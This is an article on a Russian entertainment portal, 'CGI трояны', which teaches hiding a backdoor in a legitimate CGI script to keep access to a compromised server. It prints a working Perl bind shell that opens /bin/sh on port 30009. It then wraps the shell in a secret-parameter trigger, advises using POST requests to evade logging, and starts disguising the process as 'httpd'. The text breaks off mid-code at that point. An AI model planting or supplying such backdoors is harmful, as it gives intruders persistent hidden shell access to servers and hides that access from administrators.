Best-club - портал хорошего настроения!
→◊ Библиотека ◊←
Меню сайта
  • Драмы
  • Ужасы
  • Фэнтези
  • Боевики
  • Мистика
  • Комедии
  • Триллеры
  • Мелодрамы
  • Фантастика
  • Мультфильмы
  • Приключения
  • Связь с админом
  • Список пользователей
  • Полная статистика сайта
  • ТОП наград
  • Переводчик
  • Конвертер величин
  • Проверка правописания
  • Раздача ICQ
  • Оставить отзыв о сайте
  • Раскрутка сайтов

  • Поиск по сайту
    Введите ключевое слово
    для поиска



    Статистика сайта




    ProfiSmart TOP webgari.com Рейтинг сайтов

    Каталог сайтов

    bodr_top
    Онлайн всего: 1
    Гостей: 1
    Пользователей: 0

    Зарегистрировано:
    Всего: 1117
    Парней: 1070
    Девушек: 47
    Последний: molodoo

    Облако тегов
    Важная информация
    Главная » Статьи » Wap/Web Мастеру » PHP, Perl, ASP

    CGI трояны
    Есть неплохой (немного ламерский, правда, но работающий ;)) способ оставить лазейку в систему, на случай если админ снимет руткит/бекдор/what_ever : загнать нужный код в середину cgi-скрипта. Теперь подробнее. Вот простой bindshell код :

    #!/usr/bin/perl 

    $port = 30009;

    use Socket;

    socket(T, AF_INET, SOCK_STREAM, 0) || die;
    setsockopt(T, SOL_SOCKET, SO_REUSEADDR, 1) || die;

    bind(T, sockaddr_in($port,INADDR_ANY)) || die;

    listen(T,5);

    accept(X,T);

    open STDIN, "<&X"; 
    open STDOUT, ">&X";
    open STDERR, ">&X";

    system("/bin/sh -i"); 

    close(T);

    Я надеюсь тут всё понятно? Если нет, то советую почитать справочник по перлу. Конечно перед вставкой в скрипт данный код нужно доработать. Во-первых, заставим его включаться при получении нужного параматра :

    if ($paramz{sess} eq "g0t_r00t"){

    $port = 30009;

    socket(T, AF_INET, SOCK_STREAM, 0) || die;
    setsockopt(T, SOL_SOCKET, SO_REUSEADDR, 1) || die;
    bind(T, sockaddr_in($port,INADDR_ANY)) || die;

    listen(T,5);
    accept(X,T);
    open STDIN, "<&X";
    open STDOUT, ">&X";
    open STDERR, ">&X";
    system("/bin/sh -i"); 
    close(T);
    }

    Кстати, я рекомендую вызыввать скрипт запросами POST, т.к. GET банально логируются. Во-вторых, нужно сменить название процесса скрипта:

    if ($paramz{sess} eq "g0t_r00t"){
    $port = 30009;
    $proc = "httpd";
    for ($i=0;$i<60;$i++){ $proc=$proc."

    Категория: PHP, Perl, ASP | Добавил: Admin | Дата: 29.08.2009 | Просмотры: 3349 | Рейтинг:
    Всего комментариев: 0
    Добавлять комментарии могут только зарегистрированные пользователи.
    [ Регистрация | Вход ]
    Вход на сайт
    Гость, добро пожаловать на best-club! Тапки в углу, пиво в холодильнике. Располагайся:) Для получения большего комфорта войди как пользователь или зарегистрируйся.



    Обмен музыкой [?]
    Открыть в новом окне

    Партнёры





    Опрос

    Сколько времени в день проводите в интернете?
    Всего ответов: 25

     
    Best-club team © 2008 - 2024

    SiteMap Партнёры и друзья Поддержать проект
    Третий Мир: Война Королей - Форум
    Администрация сайта не несёт ответственности за материалы опубликованные на сайте! Все материалы исключительно для ознакомления!
    Мини профиль